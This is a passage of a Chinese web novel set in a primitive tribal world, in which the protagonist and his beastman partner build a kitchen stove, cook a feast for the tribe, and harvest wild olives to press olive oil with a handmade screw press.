可惜心有余而力不足,花时安站在厨房门口不肯离开,却也没有走进去,连夜将灶台垒出来的决心。 “好了时安。” 腰被一双结实有力的手臂环住,站得东倒西歪的花时安被莫淮山轻轻搂进怀里。兽人下巴抵着他的肩膀,呼吸尽数洒在耳畔,“你都困迷糊了,灶台明天再垒,我们先睡觉去。” 有人抱着就不用硬站了,花时安顺势靠在莫淮山身上,耷拉着眼皮懒洋洋道:“道理我都懂,可是总惦记着,心里不踏实。” “那你去睡,我还不累,今晚连夜把咱们家灶台赶出来。”洗完澡的伴侣香香的,莫淮山鼻尖微动,忍不住亲了下花时安的脖颈。 “痒。”花时安耸了耸肩,反手在莫淮山头上揉了一把,接着他刚才的话道:“你还想连夜垒灶台?厨房垒灶台的时候你又没参与,知道怎么垒吗?” 莫淮山低低笑了一声,“时安,我没有你想得那么笨,每天在厨房里进进出出,灶台的大致结构我还是能看懂的。” “哦?我们淮山这么聪明啊。”花时安捏着他的手指玩,夸完不过两秒钟,立马变脸,“那也不行,你明天一早还要外出狩猎,不能熬太晚,赶紧休息去。” 莫淮山抱着他不撒手,“时安不睡我也不睡。” “嘿,学会唱反调了是不?”花时安抓起他的手往嘴里送,作势要咬他。 知道他不会真的咬,就算咬也不会很用力,但莫淮山十分给面子,假装自己被吓到,着急忙慌地认错求饶:“错了错了,不敢跟你唱反调。不过……我是不是忘记告诉你了,我们狩猎队明天不用外出。” 花时安诧异挑眉,“啊?整个狩猎队都不用外出?” 莫淮山“嗯”了声,“不止狩猎队,采集队也不用外出。刚才我们兽人在那边洗澡,大族长说了,说我们这段时间辛苦,每天都回来得很晚,房子迟迟盖不好,所以特意让我们休息一天,抓紧时间盖房子,再过不久又要收粮食了。” “难得休息一天,我都想好了。你想垒灶台我现在就垒,明天可以一觉睡到中午,然后下午你在家里玩,我去帮族人盖房子,傍晚我们再一块吃饭,回家睡觉。” 规划的还挺好,花时安心动了,困意一扫而空,抓着莫淮山的手果断往楼下里钻,“那还等什么,走,背点黏土回来垒灶台。” “我垒,你睡觉。” “不行,要熬一起熬。” 说干就干,花时安和莫淮山背着背篓匆匆下楼,摸黑到食堂对面的草地和了一背篓稀泥,又在旁边坑里挖了一背篓之前剩下的河沙,这才重新回家,钻进厨房。 为保证灶台的牢固性,砖头必须用东西黏在一起,在现代社会使用水泥,在资源匮乏的原始社会,他们只能使用黏土来充当黏合剂。 黏土也足够了,虽比不上水泥,但晒干后黏性极强,用锤子敲都还要费点力气才能敲掉。 河沙、稀泥备齐,在厨房里点上两支蜡烛,可以开始动工了。花时安从杂物间里翻出墨斗,与莫淮山在屋里来回打转,沿着窗户在木地板上弹出一个黑色长方形框架。 木屋内使用明火有风险,必须做好防火措施。 灶台的长宽及高度确定好,莫淮山化身砖瓦工,拿起砍刀当砖刀,按照花时安指示蒯起黄泥,均匀涂抹在砖头侧面,旋即沿着黑框角落将砖头贴在地板上,就像当初铺地板一样。 一块接一块,砖头将黑框全部铺满,花时安从背篓里捧出一捧河沙,沿着连接砖块的泥缝一点点填过去。 泥土疏松可能存在细小的缝隙,填上河沙最后抹平,相当于又添了一道保险,防止微不可察的火星子透过缝隙接触到木地板,从而引起不必要的麻烦。 基座铺设好,接下来便是垒灶台。 莫淮山没有吹牛,他确实看懂了灶台的结构,而且从刚才铺设基座的过程中掌握到了黏土与砖头的正确使用方法,垒起灶台那叫一个干净利落,仿佛工地上打拼多年的熟练砖瓦工。 压根帮不上忙,花时安只能在一旁看着,隔一会儿给兽人擦擦汗,隔一会儿给他喂点水。直到灶台初具雏形,他这才找到点事情做,根据烟道的位置在木墙上量出烟囱的位置,弹上显眼的墨线,方便兽人垒砌。 从深更半夜到天蒙蒙亮,火光闪烁的木屋悄无声息地发生了变化。歪脖子树旁边的房顶上,一根笔直粗壮的黄色烟囱探出头,好似一座高大坚固的灯塔,站在屋顶守护着木屋。 屋内属于小两口的厨房也发生了翻天覆地的变化,窗户右侧多了一个半人高的灶台,不如部落的灶台大,面上只有两个锅口,却比那精致不少。 砖头与砖头严丝合缝地贴在一起,层层叠叠,错落有致,不像用来烧火做饭的灶台,反倒像个艺术品,既精致美观又实用耐造。 灶台没有贴着窗户的木墙垒砌,左侧与墙体之间有一个两米宽的空间,原因无他,柴火灶要烧柴,这个小空间就是花时安特意留出来堆放柴火的,以免屋子里乱糟糟。 忙活半宿的成果当然不止灶台和烟囱,窗户正下方,一排与灶台齐平的操作台几乎占据了整面墙体。和部落的厨房一样,操作台下方为橱柜,上方为台面,切肉折菜时还能看看窗外美景,吹吹凉爽的晚风。 熬了快一整宿,花时安和莫淮山却一点也不觉得累,看着自家焕然一新的厨房,两人默契对视一眼,从彼此脸上看到了愉悦而满足的笑容。 快了,过阵子把粮食一收,可以准备分家了,自家开火做饭的日子已经近在咫尺。 第118章 第 118 章 区别对待 说好一起睡到中午, 但花时安与周公下完棋,迷迷糊糊从床上睁开眼睛时,悬挂在天空中的太阳已经变成了炙热的火球,一瞧时间就不早了, 至少也是下午两三点。 床的另一侧空空如也, 睡在身侧的兽人不见了踪影, 花时安手掌贴着凉席感受了一下,凉悠悠的,一点余温都没有。 显然离开很久了,花时安打了个懒洋洋的哈欠,撑着身子坐起来,本想在床头柜上找点水喝, 结果转头就在旁边柜子上看到一碗黄灿灿的蒸南瓜。 食物端到床边,贴心地备好竹勺、竹筷,只剩一口水的竹筒重新灌满清水,手贴上去还能感受到一丝温度。 熬夜的疲惫一扫而空,花时安垂眸看着床头柜,跟喝了一大口蜂蜜似的,心里嘴里都是甜滋滋的。 家中陶罐备着清水, 花时安在家里完成洗漱, 坐在床边快速解决掉兽人给他留的南瓜。早饭午饭一顿吃,把饥肠辘辘的肚子填饱后, 这才不紧不慢地走下楼。 烈日炙烤着森林, 热浪在空气中肆虐,如海浪般翻涌。 从房屋的阴影中走出来,花时安眉头一皱,顿感不妙。太阳很晒, 空气格外潮湿,使得又闷又热,像一脚踏进了桑拿房,又像是被一群野狗追着舔,没走出几步身上就黏糊糊的。 可这般闷热的下午,部落却尤其热闹。 时隔一月有余,穰穰部落所处这片森林一整个大变样,高大粗壮的巨杉树旁,一个个开阔平整的木平台相继探出头,巍然矗立在森林中。 族人的房屋进度不一样,有的已经开始盖房顶,有的刚把平台搭建好,但所有平台与房屋都建在靠营地方向,整整齐齐,强迫症患者看着极度舒适,赏心悦目。 炎热未能阻止勤劳的族人,平台上、林隙中到处都是人,他们顶着烈日爬上爬下,抬木材抱木板,叮叮哐哐的敲打声、响亮的吆喝声无处不在,用汗水浇筑木屋。 没有去帮忙的打算,花时安环视一圈便离开了,沿着树荫一路走到食堂楼下。 本身就不擅长体力活,去了也帮不上多少忙,不如找点自己擅长的事情做,比如——做饭。 大家都忙着盖房子,没空捣鼓吃的,晚上肯定又是水煮菜或蒸南瓜,随随便便糊弄一顿。之前答应要给他们做一顿好吃的,刚好今天又有食材,所以花时安选择厨房为自己的战场。 才下午两三点,这会做饭实属有点早,但昨晚狩猎队收获颇丰,抬了两头堪比牦牛的黑毛野猪回来。晚上忙着开窑,只吃了内脏和半扇猪肉,剩下的肉和猪油还需尽快处理。 一楼平台下面俨然变成了菜市场,花时安猫着腰钻进去,目之所及皆是陶缸与背篓。楼下比楼上更凉快,新鲜蔬果和用盐腌制的鲜肉特意放在阴凉地,以延长保质期。 亚兽们贴心地做好了分类,绿油油的黄瓜、圆润饱满的茄子、红彤彤的小番茄、鲜翠欲滴的青菜、金黄的南瓜、酸甜可口的树莓……果蔬种类不是一般的多,花时安瞅了一圈,眼睛都看花了。 一时不知道今晚该做些什么,花时安捏着下巴琢磨片刻,把装着猪板油和鲜肉的陶缸从平地下方全部搬出来。 猪大肉多,沉甸甸的陶缸搬到河边也是个体力活,花时安挑了一个小的,咬紧后槽牙才将其抱起来,结果步子还没迈开,一道惊呼忽地从前方传来。 “祭司大人,你这是要做什么?这陶缸可沉,快放下,你要往哪搬,我们帮你。” 迎面走来一男一女,花时安定眼看了几秒,想起了他们的名字。 男性兽人名叫长阳,女性亚兽名叫巨盛夏,同为年轻人,两人却不属于狩猎队和采集队,因为兽人先天畸形,少一只胳膊,而亚兽在灾难中伤到腿,无法快走,无法长时间站立。 从草地到食堂,短短一段路,两人花了普通人的两倍时间。花时安倒不会歧视他们,但让手脚不便的族人来搬重物,确实也不太合适。 所以花时安没有放下陶缸闲聊的打算,迈开腿继续往前走,走到两人身旁时停下脚步,笑吟吟地回了一句:“你们不是在筛河沙吗,继续忙去吧,这陶缸没多沉,我一会儿就搬完了。” “天!”长阳咋咋呼呼,扯着个大嗓门:“这还不沉?昨天往回抬的时候都快把我累——” “咳咳。” 两声轻咳打断了兽人的话,巨盛夏不着痕迹地瞪了长阳一眼,旋即转头看向花时安,和和气气一笑,“祭司大人,你不用担心,我和长阳力气大,两个人抬一口陶缸没问题的。” 花时安想说真不沉,结果嘴还没张开,环抱陶缸的手臂猛地袭来一阵酸痛。他手一软,差点把一缸猪肉摔在地上,还好长阳和巨盛夏反应快,及时伸手接住陶缸。 打脸来得如此之快,花时安尴尬死了,恨不得找个地缝钻进去。可惜没地缝给他钻,他硬着头皮冲两人笑了笑,强行挽尊:“不小心手滑了,没事没事,你们忙去吧,我等下叫狩猎队过来帮忙。” 陶缸轻轻放在地上,长阳不想勉强,悻悻转身离开,但步子还没迈开,巨盛夏抓着他右臂只有半截的小肉球,一把将人给拽了回来。 这操作把花时安都惊呆了,嘴唇张张合合,愣是没说出一个字。 长阳似乎习以为常,拽回来就乖乖站着,而巨盛夏神情变得严肃了不少,直勾勾盯着花时安的眼睛,认真中带了一点哀求:“祭司大人,其实不用把我们当伤患看待,我们的伤早就恢复了,身体好,力气也大,除了少一只胳膊、走得慢了点,和其他人没有太大区别。” “果子蔬菜是采集队摘回来的,肉是狩猎队抓回来的猎物,甚至房子都是族人在帮我们盖。可我们和那些老人不一样,我们还年轻,还有力气,不想事事依靠族人,我们也想为部落做一点力所能及的事。” 恍然间好似看到了曾经的自己,花时怔了一瞬,余光扫过巨盛夏微微泛红的眼眶,无声叹了口气:“不要这样说,哪有事事依靠族人,你们也在干活呀,捏陶器、编竹具、筛河沙……这些都是你们在做,都是你们的功劳。” 巨盛夏吸了吸鼻子,小幅度摇头,“不一样,我们明明可以做更多。我腿脚不好,但手一点问题都没有,长阳他也是,他虽然少了一只胳膊,但左手很灵活,锯木头、搬东西什么都没有问题。” 说了这么多,其实她就是不想被区别对待,比起干那些轻松不费劲的活,她更想被族人当成一个正常人来对待。 非常理解她的心情,毕竟曾经的自己还不如他们。 花时安拍了拍莫名有点堵的胸口,扬起下巴朝两人笑了笑,“好了,别垂头丧气的了。想帮忙干活是吧?行,那这些陶缸就交给你们了。” “把陶缸里猪肉、猪油搬到河边去洗干净,然后把猪油和一半的猪肉给我送到厨房来,剩下的……切成小块用绳子串起来,先拿到太阳底下把水分晒干,再去找点新鲜柏树枝,全部给熏成肉干。” 噼里啪啦一顿交代,巨盛夏和长阳听得一愣一愣的。 不想被当成伤患对待,但至少得当个人吧? 屋檐下密密麻麻几十口陶缸,他俩能干这么多活吗?巨盛夏过了好一阵才回过神,一脸不可置信地看着花时安,小声地说:“祭司大人,我、我们就两个人。” “谁说就你们两个人?”花时安勾唇一笑,抬手指向草地上忙碌的身影,“之前是我没考虑到,那里应该还有和你们想法一样的人,只是你们比较勇敢,先迈出这一步。” “去吧,去问问有没有人一起干,人不够回来找我。” “好的祭司大人,我们这就去。” “谢谢祭司大人!” 两人抬起脚边陶缸,高高兴兴地朝河边走去。 干活还这么高兴。 看着他们远去的背影,花时安眼底笑意更浓。 肉交给族人处理,花时安得了空闲,他猫着腰再度钻进平台下,在装满果蔬的背篓里挑挑选选。茄子来点,可烧可凉拌;黄瓜来点,到时候拌个剔骨肉;小番茄来点,陶缸里还腌着不少骨头,或许可以炖个番茄味的汤;南瓜也来点…… 咦,这是什么? 花时安在南瓜堆里扒拉时,瞅见两颗与青枣有些相似的青果子,他捻起来凑到鼻间嗅了嗅,闻到一股淡淡的青草味,和一点点青柠檬的味道。 非常眼熟,但花时安脑袋短路,一时想不起它叫什么。 可以确定是它无毒,于是他直接送到嘴边,咬下一小口。嚼了两下尝到味道,花时安眉头紧拧,一脸扭曲地张开嘴:“呸,呸呸呸!” 又酸又涩又苦,味道简直了。 不过这一尝倒真让花时安想起来了,这是橄榄,橄榄中最难吃的油橄榄,用盐腌制才会变得美味,或者用来榨取橄榄油。 等等,橄榄油?健康的食用植物油,橄榄油? 花时安捻着橄榄的手微微一颤,巨大的喜悦涌上心头。 第119章 第 119 章 捡到宝了 “吃饭, 吃饭咯!祭司大人今晚做了大餐,赶紧洗手洗脸来吃饭!” 暮色沉沉的傍晚,一声嘹亮的吆喝响彻森林。 声音一层一层回荡开,本就无比喧闹的森林又添了一把火, 瞬间沸腾起来。辛苦劳作的族人纷纷放下手中活计, 于平台一跃而下, 踩着落日的余晖争先恐后地朝河边跑去。 人们相继从树影中钻出,从三五个渐渐变成一大群,场面颇为壮观,不知道还以为森林里的兽群受到惊吓,浩浩荡荡地冲了出来。 奔跑还在继续,在河边洗去木屑与黏腻的汗水, 人们起身便匆匆跑向木屋后方的厨房,但这时不知谁喊了声“饭菜不在厨房”,人群猛地掉头,踩着楼梯噔噔噔地跑上楼。 推门而入,一股浓郁且复杂的肉香扑鼻而来,跑在前头、率先进屋的兽人仿佛被凌空落下的闪电击中,脚下步子一顿, 瞠目结舌地呆在门口。 “怎么了?走啊, 堵在这里做什么?” “我闻到味道了,好香好香, 快往里走!” “别堵着呀, 快走快走。” “今晚祭司大人到底煮的什么?真的好香好香。” 堵在楼梯上的族人什么都看不到,急得直跺脚,他们连推带挤,使出吃奶的劲儿, 终于把堵在门口的兽人给推了进去。 可迎着香味走进食堂,后进屋的族人也齐齐愣住。 干净整洁的餐桌上,五个南瓜大小的圆陶盘整齐摆放,每个陶盘都装着不一样的食物。绿里透黄的辣椒炒肉、浸在黏稠汤汁中的肉沫茄子、大片大片的干菜蒸肉、清爽解腻的凉拌剔骨肉、油亮亮的蒜泥青菜。 除此之外,餐桌中间还放着一个大陶盆,远远瞧着像是炖肉,但盆中汤水红而黏稠,闻着有股浓郁的清香。还有,餐桌边缘放着一个蒸屉,盖着盖子看不见里面是什么,但随着水蒸气飘出来的烟雾极其诱人。 琳琅满目的美食已经够让人震惊了,但真正让众人惊下巴的并不因为这个,而是——摆满美食的餐桌不止一张,每张餐桌都如此丰盛,令人垂涎三尺的香气弥漫着整个食堂。 谁见过这场面啊!就连活了大几十年,自认为见多识广的木族长惊呆了,盯着食堂一句话都说不出。 想过族人会惊讶,但没想到会惊成这个样子,站在窗边等待族人落座的花时安轻笑一声,就近挑了一张餐桌先坐下,随后朝众人招招手,“都愣着干嘛,坐啊,坐下吃饭,菜都快凉了。” 其他人迟迟回不过神,直到莫淮山从人群中挤出来,快步走到花时安身旁坐下,他们这才艰难找回神志,拖动椅子纷纷落座。 坐是坐下了,却没人说话,没人动筷,偌大的食堂只剩吞咽口水的声响,仿佛这顿丰盛的大餐是断头饭,吃完便要押送刑场。 包括坐在花时安这桌的木族长和大族长。 本想看他们能坚持多久,结果花时安先忍不住了,环视一圈后叹了口气,他故作失落道:“大家都不动筷,是不是饭菜不合胃口啊?没办法,目前就这些调料,只能做成这样,大家将就着吃一顿吧。” “你可别这样说啊祭司大人,活了半辈子我都没闻过这么香的食物,简直把人都香迷糊了”大族长反应极快,先夸赞,再解释:“我们只是太惊讶了,没想到你今晚居然弄了这么多菜。” “对啊祭司大人,咋这么丰盛,今天到底是什么好日子?”没抢过兽人,坐在花时安身后那桌的岩知乐问道。 花时安笑了笑,“好日子?很普通的日子。前阵子不是说了嘛,有空给你们做一顿好吃的,刚好今天得空,刚好部落有食材,所以给大家做一顿饭。” “当然了,今天也可以是个好日子,毕竟今晚过后,很多族人的房子就要完工了,就当作提前庆祝,庆祝我们搬离阴暗狭窄的树洞,住进宽敞明亮的大房子。” “好好好!这个说法好。”木族长竖起大拇指,笑得合不拢嘴。 “我们今天忙着盖房子,都没来厨房这边帮忙,祭司大人一个人做了这么多菜,岂不是累坏了。”红映兰坐得远,隔着人群一脸关切地看着花时安。 “一个人做这么多,祭司大人也太厉害了。” “别别别,”花时安摆摆手,忙解释道:“厨房可不止我一个人。巨盛夏、长阳、青叔……他们也帮了不少忙,帮忙洗菜洗肉、折菜切肉,不然我一个人忙活,估计半夜才能吃上饭。” 没想到这点小事还要单拎出来说,巨盛夏闹了个大红脸,“没有没有,我们只是帮了一点小忙,最厉害的还是祭司大人,所有菜都是他亲手做的!” “行了行了,再聊下去菜真的要凉了。今天这顿饭大家都有功劳,但在食堂的首要任务不是论功,而是吃饭,少说话多吃东西,大家拿起筷子开动吧。”不想把食堂变成会议室,花时安带头拿起筷子,夹起一片肥肉均匀的蒸肉。 狂咽口水的族人再也忍不住了,一把抓起筷子,如饿狼扑食般袭向桌上一早就瞅准的美食。 说好少说话多吃东西,但仅是尝过一口食物,刚刚安静下来的食堂又炸开了锅,好似被一杆子捅散的马蜂窝,诧异地惊呼、兴奋而夸张地赞叹齐齐炸响。 “哇哇哇,你们快尝尝,这大肉片超级好吃,像煮了一宿的样子,我都没用牙齿咬,轻轻一抿就在嘴巴里化开了。” “茄子也好好吃,软烂入味,嘶,又麻又辣,够味儿!祭司大人在里面放了什么?” “唔,香掉牙,这个大肉片到底怎么做的?” “我的天,黄瓜居然可以这么好吃!” “陶盆里炖的排骨汤,吃起来酸酸甜甜的,很清爽,这红彤彤的到底——我知道了!番茄,祭司大人用了小番茄炖排骨。” “番茄不是野果吗,还能做菜吃?” “嗯嗯嗯!快尝尝,番茄炖汤好特别,好香!” …… 嗓门一个比一个大,食堂里闹哄哄一团。 花时安这桌同样如此,木族长对那半肥半瘦,软烂入味的蒸肉尤其感兴趣,接连炫了三片,边吃边猛猛点头,“这肉好这肉妙,一抿就化,不费牙口,非常适合我。时安啊时安,这软乎乎的大肉片到底怎么煮的,咋就这么软这么香呢?” 一桌六个人,一盘干菜蒸肉十二片三指宽的五花肉,正好一人两片,可自家兽人还没尝到味,木族长和大族长一片接一片,盘里很快就剩两片肉和打底的干菜。 眼看木族长又要伸出魔爪,花时安眼疾手快,迅雷不及掩耳之势将最后两片蒸肉夹进莫淮山碗里,若无其事地笑笑道:“不叫大肉片,这菜叫梅菜扣肉,就是把梅菜扣在肉上面一起蒸,不过部落没有梅菜,我就用干菜代替了,效果差不多,也可以叫干菜蒸肉。” “之所以一抿就化,那是因为我从下午就开始蒸了。” “干菜?居然是我们之前晒的干菜?”大族长略有些吃惊,夹起吸饱汤汁的干菜尝了尝,眼睛都直了,“味道完全不一样,吃起来和肉差不多!” 花时安“咔嚓咔嚓”嚼着黄瓜,慢条斯理咽下去,解释道:“干菜和肉长时间在锅里蒸,渗出来的油水全□□菜吸走了,所以吃着特别香。” “哦,原来是这样。” 大族长若有所思地点点头,又夹了一筷子干菜。 “祭司大人,祭司大人,这个呢?”满嘴油的岩知乐转过身,戳了戳花时安的后背,指着桌上裹满酱汁的茄子问:“茄子是怎么做的?以前我都没发现,茄子居然这么好吃!” 还以为他要问番茄排骨汤,结果是问茄子,茄子很特别吗?花时安夹了一块茄子尝了尝,嚼碎咽下去才道:“茄子的做法和平常一样,唯一的不同大概就是油比较多,我放了好些猪油,然后又剁了好些肉沫炒出油。” “啊。”岩知乐嘴巴一瘪,“我还以为我爱上素菜了,结果还是因为肉啊。” 花时安被他逗乐了,刚想调侃他几句,食堂另一头传来一声响亮的惊呼:“哇!你们快看,蒸屉里的是什么,好漂亮,好香!” 话音刚落,其他人也纷纷揭开餐桌边缘显眼的蒸屉。 白色水雾带出一股热气,浓郁的咸香扑面而来,待烟雾散去看向蒸屉,拳头大的圆团子一个挨一个,铺满整个蒸屉,圆润饱满,个个金黄,透着晶莹诱人的光泽。 负责揭蒸屉的大族长惊呆了,愣了好几秒才回过神,倏地转头看向花时安,一脸不可置信,“这、这也是食物?” 花时安先是一愣,扑哧笑出声,“大族长你这话问的,放在餐桌上的东西当然是食物了。” “这个呀叫南瓜炊圆,是我们今天晚上主食,刚才光顾着聊天,我差点都忘了,趁着还热乎,大家赶紧拿,赶紧吃。” 莫淮山:“南瓜炊圆?南瓜做的?” “外面那层皮是南瓜混着葛根粉做的,里面不是。” 三两句话说不清楚,花时安夹了一个南瓜炊圆,顾不上烫,掰开外面一层薄薄的皮,将内里猪肉粒炒的干蘑菇馅展示给众人。 这一瞅可不得了,两位族长忙地夹起炊圆,烫得哇哇叫,边吹边往嘴里塞。 皮薄馅足,一口下去无比满足,干蘑菇与肉粒相辅相成,肉有蘑菇香,蘑菇有肉香,再加上外层薄皮带来的清甜,味道简直了,唇齿留香,回味无穷。 一吃一个不吱声,木族长一口气吃了两个炊圆,尤为满足地拍了拍胸口,抬头看向坐在对面的小两口,“祭司大人的厨艺真是没话说,要天天这么吃,过不了多久我就能胖一圈。” “莫淮山啊莫淮山,你可真是捡到宝了!” 第120章 第 120 章 油橄榄 晨雾在森林中慢悠悠地飘荡, 好似一层细腻轻柔的薄纱,把远处树干晕成朦胧的剪影。脚下落叶裹着夜的潮气,踩上去沙沙作响,混着松针与腐叶特有的、淡淡腥甜气息。 微风吹拂, 树枝摇晃, 一枚青红相间的橄榄从高处枝头滚落, 砸在草丛里“啪”地一声响,惊飞了蜷在腐叶下的小虫。 “就是这,就是这!” 纤细灵巧的小手扒开腐叶拾起橄榄,红映兰蹲在地上嘿嘿一笑,如献宝一般,转头将拇指粗的橄榄递给花时安, “祭司大人你看,这是不是——咦,这颗怎么不一样,快变红了。” “没错,是我要找到油橄榄,它成熟时会变颜色。”花时安接过亚兽递过来的橄榄,抬头看着树梢上密密麻麻的橄榄果, 不禁感叹:“今天有得忙了。” 橄榄作为被子植物, 果实本就极其多,一颗树上密密麻麻全是青红相间的橄榄果, 随便摘个四五背篓不成问题, 而这样的橄榄树,周围还有好几十棵。 好多果子啊!没来过这一带的亚兽看得一愣一愣的,犹如一群脱缰的野马,背着空背篓风风火火地冲了出去, 目标正是枝头上挂着露水的橄榄果。 族人情绪高涨,干劲十足,岩知乐却提不起劲,因为他亲口尝过这看似诱人的油橄榄。 油橄榄是岩知乐和红映兰前几天一块发现的,外出采集路过此地,看那绿而密集的果子着实诱人,顺手在树上摘了几颗。 本来想着拿回去交给花时安辨认,但岩知乐路上没忍住,偷摸尝了一颗,那又苦又涩又酸的味道简直了,气得他把橄榄丢进背篓里,把这件事抛之脑后。 没想到阴差阳错,花时安发现了掉在南瓜堆里的橄榄,而他似乎非常看重这些酸涩难吃的果子,不仅亲自跟着他们来找,还从采集队分出二十个亚兽一同前来采摘。 这么多人这么多橄榄果,采回去都能当饭吃了,岩知乐有点慌,在花时安拽下一根树枝开始薅果子时走到他身后,旁敲侧击地提醒道:“祭司大人既然认得油橄榄,应该知道这果子是什么味道吧?” “知道啊,怎么了?”忙着摘果子,花时安头也没回道。 岩知乐一愣,“知、知道你还带这么多人来摘?这果子难吃死了,摘这么回去干嘛呀?咱们现在不缺食物了,没必要吃这个吧?” “谁告诉你要吃了?”花时安百忙中抽空看了他一眼,笑吟吟道:“我说来得路上你怎么一副心不在焉的样子,原来在担心这个。把心放回肚子里吧,油橄榄不是用来吃的,我要用来做东西。” 胃口又被吊起来了,岩知乐忙问:“做什么?” “食用植物油,橄榄做出来的油又叫橄榄油。”花时安飞快摘着油橄榄,有一搭没一搭地和他聊:“用处和动物油脂差不多,炒菜、拌菜,烹饪各种食物。” 岩知乐听得一知半解,绕口令似的小声嘀咕:“油橄榄,橄榄油?祭司大人你没开玩笑吧,这是果子啊,长在树上的果子,真能做出和动物油脂一样的油?” 花时安轻笑一声,“没跟你开玩笑,实在好奇就别在这杵着了,赶紧摘橄榄去,一会儿回去做,做出来你就知道了。” “知道了祭司大人,我这就去!” 雨停了天晴了,岩知乐又行了。 橄榄生长密集,摘起来不累,还格外解压,避开树叶沿着树枝往下一拽,圆润饱满的橄榄如同雨滴,一只手都捏不住,簌簌砸落在地。 人多效率高,两个人一棵树,背篓很快便被填满,低矮树枝上的油橄榄尽数收入囊中,但众人压根没有收手的意思,变回兽形麻溜爬上树干高处,再变回人形继续薅高处枝头上的果子。 大获丰收的一天,忙活到日头正盛的中午,除了二十个满满当当的背篓,每棵橄榄树的树脚下还有着高高几堆油橄榄。 挂果率太高了,果子多到夸张,就算平常采摘随处可见的野菜,一个上午都不一定能采到这般多。 油橄榄太多,一次性根本拿不走,好在长着橄榄树的林子离部落不算太远,二十个人来回跑了六七趟,终于把今天的收获全部带回部落。 在花时安记忆中,橄榄油有两种榨取法,分别是冷榨和热榨。现代社会技术成熟,设备齐全,常见的优质橄榄油多以冷榨法生产,保留了更多的营养和天然风味。 但以部落目前情况,现有的技术,花时安果断选择热榨。 果子倒在草地上,花时安和族人围着果堆进行选果,挑出夹在果子里的树叶,挑出坏果烂果,以防“老鼠屎”坏了一锅粥。 而筛选出来的好果还要把青橄榄和紫红色的熟橄榄分开来,这一步骤主要是因为,青橄榄更香,出油率不理想;熟橄榄出油率高,属于橄榄的清香味比较淡,把两者分开,按比例融合风味更佳。 摘果时尽量挑好果采摘,筛选结束的很快,最后把橄榄背到河边清洗干净,一背篓接一背篓往回背,把沥干水分的油橄榄全部背进厨房。 热榨又熟榨,简单来说就是把橄榄果烹饪熟再进行榨取,目的是利用热量改变橄榄的结构,从而提高出油率。 烹饪方式有很多种,用于榨油的橄榄尽量少接触水,最适合的方式自然是烤或者烘,但条件实在有限,一颗一颗地烤不知道要烤到什么时候,所以花时安选择了简单快速的方式——蒸。 洗锅生火,十个灶口同时燃起明火,青橄榄与紫红色的熟橄榄1:1倒入蒸屉中,大火快速蒸制。 一个蒸笼四五层蒸屉,十口锅就是四五十个蒸屉,一次可以蒸不少橄榄,非常省事。不过坏处也很明显,隔水蒸熟的橄榄依旧残留着水分,出锅后还需放到太阳下进行晾晒。 得亏太阳够大,蒸熟的橄榄果铺在簸箕里暴晒两小时,水分也就没得七七八八了。此时油橄榄变成了一种奇怪的状态,蔫哒哒皱巴巴,比果干更润,质地软糯而黏腻,有点像那亮晶晶的蜜饯。 但使果肉更加晶莹的不是糖浆,而是蒸制过程中析出来的橄榄油脂。 时间紧任务重,还有好些橄榄没处理,花时安果断兵分两路,让红映兰和一半族人留在厨房继续蒸制橄榄,自己则带着另一半族人,搬出许久未使用的大石锅,将蒸熟晒干的橄榄捣碎。 木杵暴力破开果肉,果核随之分离,边捣边挑出果核,最后两簸箕熟橄榄大幅缩水,只得到一陶盆略微粗糙的果泥。 捣好的果泥舀进陶盆中,撒少许盐,充分搅拌均匀,腌制个小十分钟。到时间再往陶盆里一瞅,果肉好似泡发的干菜,油光水亮,且陶盆表面已然浮着一层薄薄的油脂。 橄榄果泥已是最佳状态,可以开始榨油了,花时安抬起胳膊擦了擦汗,转头吩咐蹲在旁边挑果核的亚兽:“你们俩、不,你们四个去我家帮忙搬个东西。一楼平台下面有个奇形怪状的木制工具,挺大的很好认,去把它抬过来,旁边还有一个装着东西的背篓,一并背过来。” “好的祭司大人。” 四个亚兽齐齐起身,在旁边水盆洗干净手,匆匆走向歪脖子树。 人还没走远,木杵咚咚咚的声响戛然而止,一旁捣果泥的岩知乐停下动作,撑着木杵擦擦汗,一脸探究地看向花时安,“祭司大人,奇形怪状的木头工具?你让他们搬的是什么?” 瞅着果泥捣的差不多了,花时安端着空陶盆蹲在石锅旁,用木勺将果泥往陶盆里舀,不紧不慢回答道:“工具就是工具,榨油需要用到工具啊,难不成用手挤?” “不对吧。”岩知乐眉头一皱,发现事情并不简单,“昨晚你才问我们油橄榄在哪摘的,怎么工具都做好了?什么时候做的?” 花时安哼笑一声,头也没抬道:“昨天晚饭吃得早,连夜把工具做出来的,没想到吧,这就叫未雨绸缪,不打无准备之仗。” 连夜赶制出来的工具,岩知乐以为只是小小的,比较简单的工具,正好去拿工具的族人回来了,听到脚步声他扭头看去,嘴巴一点点张大,眼睛顿时瞪如铜铃。 四人抬着一个半人高的木架吭哧吭哧往回走,两根奇形怪状的木棍竖在两侧,瞅着得有胳膊粗,而底部坠着一块敦实的木桩,看样子像是基座,基座之上连接着一张木板,远远看着像是一个兽人躺在基座上,又厚又长,一瞅就特别沉。 距离由远至近,岩知乐看见了更多细节,比如木棍上一圈一圈绕下来的纹路,祭司大人教过,这叫螺纹。木板也不是一张普通的木板,它表面平整光滑,两根木棍中间的位置有着一圈指节深的凹槽,边缘还开了一个小缺口。 长得跟牛头一样的玩意儿,居然是榨油工具? 这到底怎么用? 120-125 第121章 第 121 章 橄榄油 “咦, 背篓里居然还有一张厚木板。” “到底怎么用,看不懂一点,这奇奇怪怪的工具真是用来榨油的?祭司大人,别光顾着擦啊祭司大人, 你说句话, 给我们介绍一下嘛!” 简易榨油工具犹如一罐甜滋滋的蜂蜜, 刚刚平稳放在地上,亚兽们闻着味就凑过来了。尤其是岩知乐,一刻不停地在耳边叭叭,吵得花时安脑瓜子嗡嗡响。 不是他卖关子,故意吊着族人的胃口,主要是这玩意儿的原理说简单不简单, 说复杂不复杂,他一时有些不知道该怎么解释。 琢磨半天总算是组织好了语言,花时安抬头看向围在身旁的亚兽,呼出一口热气,无奈笑笑道:“如你们所见,这是一个简易榨油工具,等下我们就要用它来榨取橄榄油。” “下面这块木桩是基座, 因为木板不能直接接触地面, 用它来做抬高,而这张厚木板也就是整个工具的核心, 一会儿要用来放油饼。” 花时安手指轻点木板中间, 继续道:“中间这一圈凹槽看见了吗?等下油饼放在这里面,用背篓里那张厚木板压下来,油饼里的油脂就会通过挤压慢慢渗出,然后流进油槽中, 再通过油槽流到出油口,进入我们的陶罐中。” “哇!” 长月月惊叹一声,面露欣喜,“一环扣一环,感觉好神奇。” 